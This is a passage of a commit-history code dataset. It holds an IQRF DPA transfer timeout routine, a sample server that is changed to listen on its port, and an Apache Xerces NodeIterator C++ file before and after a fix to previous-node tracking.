}\n else {\n \/\/ worst case\n responseTimeSlotLengthMs = 110;\n }\n }\n \/\/ correction of the estimation from response \n else {\n TRC_DBG(\"PData length of the received response: \" << PAR((int)responseDataLength));\n if (responseDataLength >= 0 && responseDataLength < 11)\n {\n responseTimeSlotLengthMs = 80;\n }\n else if (responseDataLength >= 11 && responseDataLength <= 33)\n {\n responseTimeSlotLengthMs = 90;\n }\n else if (responseDataLength >= 34 && responseDataLength <= 56)\n {\n responseTimeSlotLengthMs = 100;\n }\n else if (responseDataLength > 56)\n {\n responseTimeSlotLengthMs = 110;\n }\n TRC_DBG(\"Correction of the response timeout: \" << PAR(responseTimeSlotLengthMs));\n }\n\n estimatedTimeoutMs += (hopsResponse + 1) * responseTimeSlotLengthMs + m_safetyTimeoutMs;\n\n TRC_DBG(\"Estimated LP timeout: \" << PAR(estimatedTimeoutMs));\n TRC_LEAVE(\"\");\n return estimatedTimeoutMs;\n}\n\nvoid DpaTransfer::SetTimingForCurrentTransfer(int32_t estimatedTimeMs)\n{\n TRC_ENTER(\"\");\n\n \/\/ waiting forever\n if (m_timeoutMs == 0) {\n m_expectedDurationMs = m_timeoutMs;\n TRC_DBG(\"Expected duration to wait :\" << PAR(m_expectedDurationMs));\n return;\n }\n\n \/\/ adjust time to wait before allowing next request to go the iqrf network\n if (m_status == kReceivedResponse) {\n \/\/adjust new timing based on length of PData in response\n m_expectedDurationMs = estimatedTimeMs;\n TRC_DBG(\"New expected duration to wait :\" << PAR(m_expectedDurationMs));\n return;\n }\n\n \/\/ estimation done\n if (estimatedTimeMs >= 0) {\n \/\/ either default timeout is 400 or user sets lower time than estimated\n if (m_timeoutMs < estimatedTimeMs) {\n \/\/ in both cases use estimation from confirmation\n m_timeoutMs = estimatedTimeMs;\n }\n \/\/ set new duration\n \/\/ there is also case when user sets higher than estimation then user choice is set\n m_expectedDurationMs = m_timeoutMs;\n TRC_DBG(\"Expected duration to wait :\" << PAR(m_expectedDurationMs));\n }\n\n \/\/ start time when dpa request is sent and rerun again when confirmation is received\n m_startTime = std::chrono::system_clock::now();\n TRC_INF(\"Transfer status: started\");\n\n TRC_LEAVE(\"\");\n}\n\nDpaTransfer::DpaTransferStatus DpaTransfer::ProcessStatus() {\n TRC_ENTER(\"\");\n std::lock_guard<std::mutex> lck(m_statusMutex);\n\n \/\/ changes m_status, does not care about remains\n \/\/ todo: refactor and rename - two functions\n CheckTimeout();\n\n TRC_LEAVE(\"\");\n return m_status;\n}\n\nint32_t DpaTransfer::CheckTimeout()\n{\n int32_t remains(0);\n\n if (m_status == kCreated) {\n TRC_INF(\"Transfer status: created\");\n return remains;\n }\n\n if (m_status == kAborted) {\n TRC_INF(\"Transfer status: aborted\");\n return remains;\n }\n\n bool timingFinished(false);\n\n \/\/ infinite (0) is out of this statement\n if (m_expectedDurationMs > 0) {\n \/\/ passed time from sent request\n auto duration = std::chrono::duration_cast<std::chrono::milliseconds>(std::chrono::system_clock::now() - m_startTime);\n remains = m_expectedDurationMs - duration.count();\n TRC_DBG(\"Time to wait: \" << PAR(remains));\n\n \/\/ already over?\n timingFinished = remains < 0;\n }\n\n \/\/ not yet set and yes time is over\n \/\/ processed or timeouted can be set only after finished timing\n if (m_status != kProcessed && m_status != kTimeout) {\n if (timingFinished) {\n \/\/ and we have received confirmation for broadcast or response\n if (m_status == kConfirmationBroadcast || m_status == kReceivedResponse) {\n SetStatus(kProcessed);\n TRC_INF(\"Transfer status: processed\");\n }\n else {\n SetStatus(kTimeout);\n TRC_INF(\"Transfer status: timeout\");\n }\n }\n }\n\n \/\/ time to wait\n return remains;\n}\n\nbool DpaTransfer::IsInProgress() {\n return IsInProgressStatus(ProcessStatus());\n}\n\nbool DpaTransfer::IsInProgress(int32_t& expectedDuration) {\n TRC_ENTER(\"\");\n std::lock_guard<std::mutex> lck(m_statusMutex);\n\n expectedDuration = CheckTimeout();\n return IsInProgressStatus(m_status);\n TRC_LEAVE(\"\");\n}\n\nbool DpaTransfer::IsInProgressStatus(DpaTransferStatus status)\n{\n switch (status)\n {\n case kSent:\n case kSentCoordinator:\n case kConfirmation:\n case kConfirmationBroadcast:\n case kReceivedResponse:\n return true;\n \/\/ kCreated, kProcessed, kTimeout, kAbort, kError\n default:\n return false;\n }\n}\n\nvoid DpaTransfer::Abort() {\n std::lock_guard<std::mutex> lck(m_statusMutex);\n\n m_status = kAborted;\n}\n\nvoid DpaTransfer::SetStatus(DpaTransfer::DpaTransferStatus status)\n{\n m_status = status;\n}\n<|endoftext|>"} {"text":"<commit_before>#include \"sample_protocol.h\"\n#include \"snapl\/dispatcher.h\"\n#include \"snapl\/net\/inbox.h\"\n#include \"snapl\/net\/outbox.h\"\n#include \"connection_acceptor.h\"\n\n\nint main( int argc, char **argv )\n{\n\tshort port( 9000 );\n\n\tsample_protocol_c sample_protocol( port );\n\n\tqueue_c< server_message_c > request_queue;\n\tqueue_c< server_message_c > response_queue;\n\tqueue_c< server_message_c > complete_queue;\n\n\tconnection_acceptor_c acceptor;\n\tinbox_c inbox( acceptor, request_queue, complete_queue );\n\tdispatcher_c dispatch( request_queue, response_queue );\n\toutbox_c outbox( response_queue, complete_queue );\n\n\tdispatch.add( sample_protocol );\n\n\tfor (;;) {\n\t\tinbox.iterate();\n\t\tdispatch.iterate();\n\t\toutbox.iterate();\n\t}\n\n\treturn 0;\n}\n\n<commit_msg>set the sample app to listen on the given port<commit_after>#include \"sample_protocol.h\"\n#include \"snapl\/dispatcher.h\"\n#include \"snapl\/net\/inbox.h\"\n#include \"snapl\/net\/outbox.h\"\n#include \"connection_acceptor.h\"\n\n\nint main( int argc, char **argv )\n{\n\tshort port( 9000 );\n\n\tsample_protocol_c sample_protocol( port );\n\n\tqueue_c< server_message_c > request_queue;\n\tqueue_c< server_message_c > response_queue;\n\tqueue_c< server_message_c > complete_queue;\n\n\tconnection_acceptor_c acceptor;\n\tinbox_c inbox( acceptor, request_queue, complete_queue );\n\tdispatcher_c dispatch( request_queue, response_queue );\n\toutbox_c outbox( response_queue, complete_queue );\n\n\tinbox.listen( port );\n\n\tdispatch.add( sample_protocol );\n\n\tfor (;;) {\n\t\tinbox.iterate();\n\t\tdispatch.iterate();\n\t\toutbox.iterate();\n\t}\n\n\treturn 0;\n}\n\n<|endoftext|>"} {"text":"<commit_before>\/*\n * The Apache Software License, Version 1.1\n *\n * Copyright (c) 1999-2000 The Apache Software Foundation. All rights\n * reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n *\n * 1. Redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer.\n *\n * 2. Redistributions in binary form must reproduce the above copyright\n * notice, this list of conditions and the following disclaimer in\n * the documentation and\/or other materials provided with the\n * distribution.\n *\n * 3. The end-user documentation included with the redistribution,\n * if any, must include the following acknowledgment:\n * \"This product includes software developed by the\n * Apache Software Foundation (http:\/\/www.apache.org\/).\"\n * Alternately, this acknowledgment may appear in the software itself,\n * if and wherever such third-party acknowledgments normally appear.\n *\n * 4. The names \"Xerces\" and \"Apache Software Foundation\" must\n * not be used to endorse or promote products derived from this\n * software without prior written permission. For written\n * permission, please contact apache\\@apache.org.\n *\n * 5. Products derived from this software may not be called \"Apache\",\n * nor may \"Apache\" appear in their name, without prior written\n * permission of the Apache Software Foundation.\n *\n * THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESSED OR IMPLIED\n * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES\n * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n * DISCLAIMED. IN NO EVENT SHALL THE APACHE SOFTWARE FOUNDATION OR\n * ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF\n * USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\n * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,\n * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT\n * OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF\n * SUCH DAMAGE.\n * ====================================================================\n *\n * This software consists of voluntary contributions made by many\n * individuals on behalf of the Apache Software Foundation, and was\n * originally based on software copyright (c) 1999, International\n * Business Machines, Inc., http:\/\/www.ibm.com . For more information\n * on the Apache Software Foundation, please see\n * <http:\/\/www.apache.org\/>.\n *\/\n\n\/**\n * $Log$\n * Revision 1.6 2000\/02\/06 07:47:33 rahulj\n * Year 2K copyright swat.\n *\n * Revision 1.5 2000\/02\/04 01:49:26 aruna1\n * TreeWalker and NodeIterator changes\n *\n * Revision 1.4 1999\/11\/30 21:16:25 roddey\n * Changes to add the transcode() method to DOMString, which returns a transcoded\n * version (to local code page) of the DOM string contents. And I changed all of the\n * exception 'throw by pointer' to 'throw by value' style.\n *\n * Revision 1.3 1999\/11\/23 01:48:16 rahulj\n * Changed 0L to 0. CC under HPUX is happy now.\n *\n * Revision 1.2 1999\/11\/20 00:56:39 rahulj\n * Source files must end with an un-escaped newline.\n *\n * Revision 1.1.1.1 1999\/11\/09 01:09:15 twl\n * Initial checkin\n *\n * Revision 1.2 1999\/11\/08 20:44:30 rahul\n * Swat for adding in Product name and CVS comment log variable.\n *\n *\/\n\n\/\/ NodeIteratorImpl.cpp: implementation of the NodeIteratorImpl class.\n\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#include \"NodeIteratorImpl.hpp\"\n#include \"DOM_Document.hpp\"\n#include \"DOM_DOMException.hpp\"\n#include \"DocumentImpl.hpp\"\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Construction\/Destruction\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nNodeIteratorImpl::NodeIteratorImpl ()\n: fDetached(false),\n fNodeFilter(0)\n{\n}\t\n\nNodeIteratorImpl::~NodeIteratorImpl ()\n{\n\tfDetached = false;\n}\n\n\nvoid NodeIteratorImpl::detach ()\n{\n\tfDetached = true;\n}\n\n\nNodeIteratorImpl::NodeIteratorImpl (\n DOM_Node root, \n unsigned long whatToShow, \n DOM_NodeFilter* nodeFilter,\n bool expandEntityRef)\n: fDetached(false),\n fRoot(root),\n fCurrentNode(0),\n fWhatToShow(whatToShow),\n fNodeFilter(nodeFilter),\n fForward(true),\n fExpandEntityReferences(expandEntityRef)\n{\n\t\n}\n\n\nNodeIteratorImpl::NodeIteratorImpl ( const NodeIteratorImpl& toCopy)\n : fDetached(toCopy.fDetached),\n fRoot(toCopy.fRoot),\n fCurrentNode(toCopy.fCurrentNode),\n fWhatToShow(toCopy.fWhatToShow),\n fNodeFilter(toCopy.fNodeFilter),\n fForward(toCopy.fForward),\n fExpandEntityReferences(toCopy.fExpandEntityReferences)\n{\n}\n\n\nNodeIteratorImpl& NodeIteratorImpl::operator= (const NodeIteratorImpl& other) {\n fRoot = other.fRoot;\n fCurrentNode = other.fRoot;\n fWhatToShow = other.fWhatToShow;\n fNodeFilter = other.fNodeFilter;\n fForward = other.fForward;\n\tfDetached = other.fDetached;\n fExpandEntityReferences = other.fExpandEntityReferences;\n return *this;\n}\n\n\n\n\/\/ Implementation Note: Note that the iterator looks at whatToShow\n\/\/ and filter values at each call, and therefore one _could_ add\n\/\/ setters for these values and alter them while iterating!\n\n\/** Return the whatToShow value *\/\n\nunsigned long NodeIteratorImpl::getWhatToShow () {\n return fWhatToShow;\n}\n\n\n\/** Return the filter *\/\n\nDOM_NodeFilter* NodeIteratorImpl::getFilter () {\n return fNodeFilter;\n}\n\n\/** Get the expandEntity reference flag. *\/\nbool NodeIteratorImpl::getExpandEntityReferences()\n{\n return fExpandEntityReferences;\n}\n\n\/** Return the next DOM_Node in the Iterator. The node is the next node in\n * depth-first order which also passes the filter, and whatToShow.\n * A null return means either that\n *\/\n\nDOM_Node NodeIteratorImpl::nextNode () {\n\tif (fDetached)\n\t\tthrow DOM_DOMException(DOM_DOMException::INVALID_STATE_ERR, null);\n\n\tDOM_Node result;\n\n \/\/ if root is null there is no next node.\n if (fRoot.isNull())\n\t\t\treturn result;\n\n DOM_Node aNextNode = fCurrentNode;\n bool accepted = false; \/\/ the next node has not been accepted.\n\n while (!accepted) {\n\n \/\/ if last direction is not forward, repeat node.\n if (!fForward && !aNextNode.isNull()) {\n \/\/System.out.println(\"nextNode():!fForward:\"+fCurrentNode.getNodeName());\n aNextNode = fCurrentNode;\n } else {\n \/\/ else get the next node via depth-first\n aNextNode = nextNode(aNextNode, true);\n }\n\n fForward = true; \/\/REVIST: should direction be set forward before null check?\n\n \/\/ nothing in the list. return null.\n if (aNextNode.isNull())\n\t\t\t\t\treturn result;\n\n \/\/ does node pass the filters and whatToShow?\n accepted = acceptNode(aNextNode);\n if (accepted) {\n \/\/ if so, then the node is the current node.\n fCurrentNode = aNextNode;\n return fCurrentNode;\n\t\t\t\t}\n\n }\n\n \/\/ no nodes, or no accepted nodes.\n return result;\n}\n\n\n\/** Return the previous Node in the Iterator. The node is the next node in\n * _backwards_ depth-first order which also passes the filter, and whatToShow.\n *\/\n\nDOM_Node NodeIteratorImpl::previousNode () {\n\tif (fDetached)\n\t\tthrow DOM_DOMException(DOM_DOMException::INVALID_STATE_ERR, null);\n\t\t\n\tDOM_Node result;\n\n \/\/ if the root is null, or the current node is null, return null.\n if (fRoot.isNull() || fCurrentNode.isNull())\n\t\t\treturn result;\n\n DOM_Node aPreviousNode = fCurrentNode;\n bool accepted = false;\n\n while (!accepted) {\n\n if (fForward && ! aPreviousNode.isNull()) {\n \/\/repeat last node.\n aPreviousNode = fCurrentNode;\n } else {\n \/\/ get previous node in backwards depth first order.\n aPreviousNode = previousNode(aPreviousNode);\n }\n\n \/\/ we are going backwards\n fForward = false;\n\n \/\/ if the new previous node is null, we're at head or past the root,\n \/\/ so return null.\n if (aPreviousNode.isNull())\n\t\t\t\t\treturn result;\n\n \/\/ check if node passes filters and whatToShow.\n accepted = acceptNode(aPreviousNode);\n if (accepted) {\n \/\/ if accepted, update the current node, and return it.\n fCurrentNode = aPreviousNode;\n return fCurrentNode;\n }\n }\n \/\/ there are no nodes?\n return result;\n}\n\n\n\/** The node is accepted if it passes the whatToShow and the filter. *\/\nbool NodeIteratorImpl::acceptNode (DOM_Node node) {\n\tif (fDetached)\n\t\tthrow DOM_DOMException(DOM_DOMException::INVALID_STATE_ERR, null);\n\n if (fNodeFilter == 0) {\n return ((fWhatToShow & ((1 << node.getNodeType()) - 1)) != 0);\n } else {\n return ((fWhatToShow & ((1 << node.getNodeType()) - 1)) != 0 )\n && fNodeFilter->acceptNode(node) == DOM_NodeFilter::FILTER_ACCEPT;\n }\n}\n\n\n\/** Return node, if matches or any parent if matches. *\/\nDOM_Node NodeIteratorImpl::matchNodeOrParent (DOM_Node node) {\n\t\tDOM_Node result;\n\n for (DOM_Node n = node; n != fRoot; n = n.getParentNode()) {\n if (node == n) return n;\n }\n\n return result;\n}\n\n\n\/** The method nextNode(DOM_Node, bool) returns the next node\n * from the actual DOM tree.\n *\n * The bool visitChildren determines whether to visit the children.\n * The result is the nextNode.\n *\/\n\nDOM_Node NodeIteratorImpl::nextNode (DOM_Node node, bool visitChildren) {\n\tif (fDetached)\n\t\tthrow DOM_DOMException(DOM_DOMException::INVALID_STATE_ERR, null);\n\n if (node.isNull()) return fRoot;\n\n DOM_Node result;\n \/\/ only check children if we visit children.\n if (visitChildren) {\n \/\/if hasChildren, return 1st child.\n if (node.hasChildNodes()) {\n result = node.getFirstChild();\n return result;\n }\n }\n\n \/\/ if hasSibling, return sibling\n result = node.getNextSibling();\n if (! result.isNull()) return result;\n\n\n \/\/ return parent's 1st sibling.\n DOM_Node parent = node.getParentNode();\n while (!parent.isNull() && parent != fRoot) {\n result = parent.getNextSibling();\n if (!result.isNull()) {\n return result;\n } else {\n parent = parent.getParentNode();\n }\n\n } \/\/ while (parent != null && parent != fRoot) {\n\n \/\/ end of list, return null\n\t\tDOM_Node aNull;\n return aNull;\n}\n\n\n\/** The method previousNode(DOM_Node) returns the previous node\n * from the actual DOM tree.\n *\/\n\nDOM_Node NodeIteratorImpl::previousNode (DOM_Node node) {\n\tif (fDetached)\n\t\tthrow DOM_DOMException(DOM_DOMException::INVALID_STATE_ERR, null);\n\n DOM_Node result;\n\n \/\/ if we're at the root, return null.\n if (node == fRoot)\n\t\t\treturn result;\n\n \/\/ get sibling\n result = node.getPreviousSibling();\n if (result.isNull()) {\n \/\/if 1st sibling, return parent\n result = node.getParentNode();\n return result;\n }\n\n \/\/ if sibling has children, keep getting last child of child.\n if (result.hasChildNodes()) {\n while (result.hasChildNodes()) {\n result = result.getLastChild();\n }\n }\n\n return result;\n}\n\n\n\/** Fix-up the iterator on a remove. Called by DOM or otherwise,\n * before an actual DOM remove.\n *\/\n\nvoid NodeIteratorImpl::removeNode (DOM_Node node) {\n\tif (fDetached)\n\t\tthrow DOM_DOMException(DOM_DOMException::INVALID_STATE_ERR, null);\n\n \/\/ Implementation note: Fix-up means setting the current node properly\n \/\/ after a remove.\n\n if (node.isNull())\n\t\t\t\treturn;\n\n DOM_Node deleted = matchNodeOrParent(node);\n\n if (deleted.isNull()) return;\n\n if (fForward) {\n fCurrentNode = previousNode(deleted);\n } else\n \/\/ if (!fForward)\n {\n DOM_Node next = nextNode(deleted, false);\n if (! next.isNull()) {\n \/\/ normal case: there _are_ nodes following this in the iterator.\n fCurrentNode = next;\n } else {\n \/\/ the last node in the iterator is to be removed,\n \/\/ so we set the current node to be the previous one.\n fCurrentNode = previousNode(deleted);\n fForward = true;\n }\n\n }\n\n}\n\n\nvoid NodeIteratorImpl::unreferenced()\n{\n DOM_Document doc = fRoot.getOwnerDocument();\n DocumentImpl* impl;\n\n if (! doc.isNull()) {\n impl = (DocumentImpl *) doc.fImpl;\n }\n else\n impl = (DocumentImpl *) fRoot.fImpl;\n\n if (impl->iterators != 0L) {\n int i;\n int sz = impl->iterators->size();\n for (i = 0; i < sz; i++)\n if (impl->iterators->elementAt(i) == this) {\n impl->iterators->removeElementAt(i);\n break;\n }\n }\n\n delete this;\n}\n<commit_msg>nodeIterator previous tracking problem solved<commit_after>\/*\n * The Apache Software License, Version 1.1\n *\n * Copyright (c) 1999-2000 The Apache Software Foundation. All rights\n * reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n *\n * 1. Redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer.\n *\n * 2. Redistributions in binary form must reproduce the above copyright\n * notice, this list of conditions and the following disclaimer in\n * the documentation and\/or other materials provided with the\n * distribution.\n *\n * 3. The end-user documentation included with the redistribution,\n * if any, must include the following acknowledgment:\n * \"This product includes software developed by the\n * Apache Software Foundation (http:\/\/www.apache.org\/).\"\n * Alternately, this acknowledgment may appear in the software itself,\n * if and wherever such third-party acknowledgments normally appear.\n *\n * 4. The names \"Xerces\" and \"Apache Software Foundation\" must\n * not be used to endorse or promote products derived from this\n * software without prior written permission. For written\n * permission, please contact apache\\@apache.org.\n *\n * 5. Products derived from this software may not be called \"Apache\",\n * nor may \"Apache\" appear in their name, without prior written\n * permission of the Apache Software Foundation.\n *\n * THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESSED OR IMPLIED\n * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES\n * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n * DISCLAIMED. IN NO EVENT SHALL THE APACHE SOFTWARE FOUNDATION OR\n * ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF\n * USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\n * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,\n * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT\n * OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF\n * SUCH DAMAGE.\n * ====================================================================\n *\n * This software consists of voluntary contributions made by many\n * individuals on behalf of the Apache Software Foundation, and was\n * originally based on software copyright (c) 1999, International\n * Business Machines, Inc., http:\/\/www.ibm.com . For more information\n * on the Apache Software Foundation, please see\n * <http:\/\/www.apache.org\/>.\n *\/\n\n\/**\n * $Log$\n * Revision 1.7 2000\/02\/08 01:16:18 aruna1\n * nodeIterator previous tracking problem solved\n *\n * Revision 1.6 2000\/02\/06 07:47:33 rahulj\n * Year 2K copyright swat.\n *\n * Revision 1.5 2000\/02\/04 01:49:26 aruna1\n * TreeWalker and NodeIterator changes\n *\n * Revision 1.4 1999\/11\/30 21:16:25 roddey\n * Changes to add the transcode() method to DOMString, which returns a transcoded\n * version (to local code page) of the DOM string contents. And I changed all of the\n * exception 'throw by pointer' to 'throw by value' style.\n *\n * Revision 1.3 1999\/11\/23 01:48:16 rahulj\n * Changed 0L to 0. CC under HPUX is happy now.\n *\n * Revision 1.2 1999\/11\/20 00:56:39 rahulj\n * Source files must end with an un-escaped newline.\n *\n * Revision 1.1.1.1 1999\/11\/09 01:09:15 twl\n * Initial checkin\n *\n * Revision 1.2 1999\/11\/08 20:44:30 rahul\n * Swat for adding in Product name and CVS comment log variable.\n *\n *\/\n\n\/\/ NodeIteratorImpl.cpp: implementation of the NodeIteratorImpl class.\n\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#include \"NodeIteratorImpl.hpp\"\n#include \"DOM_Document.hpp\"\n#include \"DOM_DOMException.hpp\"\n#include \"DocumentImpl.hpp\"\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Construction\/Destruction\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nNodeIteratorImpl::NodeIteratorImpl ()\n: fDetached(false),\n fNodeFilter(0)\n{\n}\t\n\nNodeIteratorImpl::~NodeIteratorImpl ()\n{\n\tfDetached = false;\n}\n\n\nvoid NodeIteratorImpl::detach ()\n{\n\tfDetached = true;\n}\n\n\nNodeIteratorImpl::NodeIteratorImpl (\n DOM_Node root, \n unsigned long whatToShow, \n DOM_NodeFilter* nodeFilter,\n bool expandEntityRef)\n: fDetached(false),\n fRoot(root),\n fCurrentNode(0),\n fWhatToShow(whatToShow),\n fNodeFilter(nodeFilter),\n fForward(true),\n fExpandEntityReferences(expandEntityRef)\n{\n\t\n}\n\n\nNodeIteratorImpl::NodeIteratorImpl ( const NodeIteratorImpl& toCopy)\n : fDetached(toCopy.fDetached),\n fRoot(toCopy.fRoot),\n fCurrentNode(toCopy.fCurrentNode),\n fWhatToShow(toCopy.fWhatToShow),\n fNodeFilter(toCopy.fNodeFilter),\n fForward(toCopy.fForward),\n fExpandEntityReferences(toCopy.fExpandEntityReferences)\n{\n}\n\n\nNodeIteratorImpl& NodeIteratorImpl::operator= (const NodeIteratorImpl& other) {\n fRoot = other.fRoot;\n fCurrentNode = other.fRoot;\n fWhatToShow = other.fWhatToShow;\n fNodeFilter = other.fNodeFilter;\n fForward = other.fForward;\n\tfDetached = other.fDetached;\n fExpandEntityReferences = other.fExpandEntityReferences;\n return *this;\n}\n\n\n\n\/\/ Implementation Note: Note that the iterator looks at whatToShow\n\/\/ and filter values at each call, and therefore one _could_ add\n\/\/ setters for these values and alter them while iterating!\n\n\/** Return the whatToShow value *\/\n\nunsigned long NodeIteratorImpl::getWhatToShow () {\n return fWhatToShow;\n}\n\n\n\/** Return the filter *\/\n\nDOM_NodeFilter* NodeIteratorImpl::getFilter () {\n return fNodeFilter;\n}\n\n\/** Get the expandEntity reference flag. *\/\nbool NodeIteratorImpl::getExpandEntityReferences()\n{\n return fExpandEntityReferences;\n}\n\n\/** Return the next DOM_Node in the Iterator. The node is the next node in\n * depth-first order which also passes the filter, and whatToShow.\n * A null return means either that\n *\/\n\nDOM_Node NodeIteratorImpl::nextNode () {\n\tif (fDetached)\n\t\tthrow DOM_DOMException(DOM_DOMException::INVALID_STATE_ERR, null);\n\n\tDOM_Node result;\n\n \/\/ if root is null there is no next node.\n if (fRoot.isNull())\n\t\t\treturn result;\n\n DOM_Node aNextNode = fCurrentNode;\n bool accepted = false; \/\/ the next node has not been accepted.\n\n while (!accepted) {\n\n \/\/ if last direction is not forward, repeat node.\n if (!fForward && !aNextNode.isNull()) {\n \/\/System.out.println(\"nextNode():!fForward:\"+fCurrentNode.getNodeName());\n aNextNode = fCurrentNode;\n } else {\n \/\/ else get the next node via depth-first\n aNextNode = nextNode(aNextNode, true);\n }\n\n fForward = true; \/\/REVIST: should direction be set forward before null check?\n\n \/\/ nothing in the list. return null.\n if (aNextNode.isNull())\n\t\t\t\t\treturn result;\n\n \/\/ does node pass the filters and whatToShow?\n accepted = acceptNode(aNextNode);\n if (accepted) {\n \/\/ if so, then the node is the current node.\n fCurrentNode = aNextNode;\n return fCurrentNode;\n\t\t\t\t}\n\n }\n\n \/\/ no nodes, or no accepted nodes.\n return result;\n}\n\n\n\/** Return the previous Node in the Iterator. The node is the next node in\n * _backwards_ depth-first order which also passes the filter, and whatToShow.\n *\/\n\nDOM_Node NodeIteratorImpl::previousNode () {\n\tif (fDetached)\n\t\tthrow DOM_DOMException(DOM_DOMException::INVALID_STATE_ERR, null);\n\t\t\n\tDOM_Node result;\n\n \/\/ if the root is null, or the current node is null, return null.\n if (fRoot.isNull() || fCurrentNode.isNull())\n\t\t\treturn result;\n\n DOM_Node aPreviousNode = fCurrentNode;\n bool accepted = false;\n\n while (!accepted) {\n \/\/ we are going backwards\n fForward = false;\n\n if (fForward && ! aPreviousNode.isNull()) {\n \/\/repeat last node.\n aPreviousNode = fCurrentNode;\n } else {\n \/\/ get previous node in backwards depth first order.\n aPreviousNode = previousNode(aPreviousNode);\n }\n \n\n \/\/ if the new previous node is null, we're at head or past the root,\n \/\/ so return null.\n if (aPreviousNode.isNull())\n\t\t\t\t\treturn result;\n\n \/\/ check if node passes filters and whatToShow.\n accepted = acceptNode(aPreviousNode);\n if (accepted) {\n \/\/ if accepted, update the current node, and return it.\n fCurrentNode = aPreviousNode;\n return fCurrentNode;\n }\n }\n \/\/ there are no nodes?\n return result;\n}\n\n\n\/** The node is accepted if it passes the whatToShow and the filter. *\/\nbool NodeIteratorImpl::acceptNode (DOM_Node node) {\n\tif (fDetached)\n\t\tthrow DOM_DOMException(DOM_DOMException::INVALID_STATE_ERR, null);\n\n if (fNodeFilter == 0) {\n return ((fWhatToShow & ((1 << node.getNodeType()) - 1)) != 0);\n } else {\n return ((fWhatToShow & ((1 << node.getNodeType()) - 1)) != 0 )\n && fNodeFilter->acceptNode(node) == DOM_NodeFilter::FILTER_ACCEPT;\n }\n}\n\n\n\/** Return node, if matches or any parent if matches. *\/\nDOM_Node NodeIteratorImpl::matchNodeOrParent (DOM_Node node) {\n\t\tDOM_Node result;\n\n for (DOM_Node n = node; n != fRoot; n = n.getParentNode()) {\n if (node == n) return n;\n }\n\n return result;\n}\n\n\n\/** The method nextNode(DOM_Node, bool) returns the next node\n * from the actual DOM tree.\n *\n * The bool visitChildren determines whether to visit the children.\n * The result is the nextNode.\n *\/\n\nDOM_Node NodeIteratorImpl::nextNode (DOM_Node node, bool visitChildren) {\n\tif (fDetached)\n\t\tthrow DOM_DOMException(DOM_DOMException::INVALID_STATE_ERR, null);\n\n if (node.isNull()) return fRoot;\n\n DOM_Node result;\n \/\/ only check children if we visit children.\n if (visitChildren) {\n \/\/if hasChildren, return 1st child.\n if (node.hasChildNodes()) {\n result = node.getFirstChild();\n return result;\n }\n }\n\n \/\/ if hasSibling, return sibling\n result = node.getNextSibling();\n if (! result.isNull()) return result;\n\n\n \/\/ return parent's 1st sibling.\n DOM_Node parent = node.getParentNode();\n while (!parent.isNull() && parent != fRoot) {\n result = parent.getNextSibling();\n if (!result.isNull()) {\n return result;\n } else {\n parent = parent.getParentNode();\n }\n\n } \/\/ while (parent != null && parent != 